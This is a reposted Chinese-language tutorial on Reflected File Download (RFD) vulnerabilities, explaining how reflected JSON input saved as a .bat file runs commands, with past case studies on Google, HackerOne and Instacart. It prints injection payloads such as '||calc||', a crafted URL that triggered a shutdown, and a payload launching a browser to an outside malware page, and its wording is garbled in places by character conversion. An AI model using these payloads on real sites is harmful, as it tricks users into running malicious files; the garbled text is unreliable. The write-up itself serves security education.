RFD(反射型文件下载)漏洞原理及实战案例全汇总

一、概念html

RFD,即Reflected File Download反射型文件下载漏洞,是一个2014年来自BlackHat的漏洞。这个漏洞在原理上相似XSS,在危害上相似DDE:攻击者能够经过一个URL地址使用户下载一个恶意文件,从而危害用户的终端PCchrome

这个漏洞很罕见,大多数公司会认为它是一个须要结合社工的低危漏洞,但微软,雅虎,eBayPayPal和其余许多公司认为这是一个中危漏洞。json

 

二、漏洞原理api

先从一个实例理解RFD漏洞,如Google搜索的返回包是json格式:服务器

 可见咱们的输入在返回包处反射输出,若是输入payload”||calc||,返回:微信

到这仍没什么问题,但若是咱们尝试在命令行里运行这个回显内容,如xss

{"result":["q","rfd"||calc||","jayway"]}google

  发如今显示文件名或目录不存在的同时,会执行咱们的管道符后的命令calc,弹出计算器。解析过程实际为:spa

 因此和DDE的攻击方法相似,咱们最终要是让回显内容做为一个bat文件下载,这能够经过分号;或结合社会工程的方式实现:.net

注:URL中分号;是个保留字符,相似链接符,现已废除。

 

3、漏洞挖掘

根据漏洞触发的三个条件挖掘漏洞:

1)输入反射:用户输入被“反射”到响应内容。

2)文件名可控: URL容许并接受用户的其余输入,攻击者将其用于将文件扩展名设置为可执行扩展名

3)下载:响应被做为文件里的内容进行下载,这里能够控制Content-Type或者在本身的服务器上建立一个HTML文件,设置download属性,诱导点击下载


4、实战案例:

1)  Google

这是Oren Hafifgoogle利用的例子。在facebook中插入的一个google超连接,以下形式内容:

https://www.google.com/s;/ChromeSetup.bat;/ChromeSetup.bat?gs_ri=psy-ab&q=%22%7c%7c%74….点击后会下载一个bat文件到本地,下载后直接运行效果以下:

 成功执行了一个shutdown命令,先用了一个双引号闭合掉前面的不可控的双引号,而后利用||符号(命令行中||表示逻辑“或”)保证命令成功执行。


2)  Hackerone

 在编辑字段中输入text"|| calc ||

 保存,回到编辑543数据edit页面:

  保留参数543,删除/edit,追加点.发现获得json回显,这里加上.bat

  因为由于这个连接返回json值而不是下载,因此这里能够在本身的服务器构造一个钓鱼html文件,设置为download属性,自动下载bat文件:

  用户点击文件,由于连接来自可信地址,因此容易中招:


3)  Instacart

  关注json返回包,请求

https://www.instacart.com/api/v2/searches?cart_id=3471936&term=rfd&page=1

发现term参数回显:

{"meta":{"code":200,"source":"search_service","cluster":null},"data":{"term":"rfd","inventory_area_id":617,"items":[],"total_results":0,"aisles":[],"warehouses":[],"search_strategies":[],"tracking":{},"product_type_filter":false,"has_deals":false,"search_id":141585110},"pagination":{"total":0,"page":1,"per_page":50}}

term参数设为:

"||start chrome davidsopas.com/poc/malware.htm||

建立html文件诱导下载:

     当前,业界对RFD这个漏洞看法不一,危害上可能接近于self-xss,但结合社工等手段尤为在社交场合能形成的危害仍是能够很大的,原PDF可阅读原文。


本文分享自微信公众号 - 卓文见识(zhuowenjianshi)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

相关文章
相关标签/搜索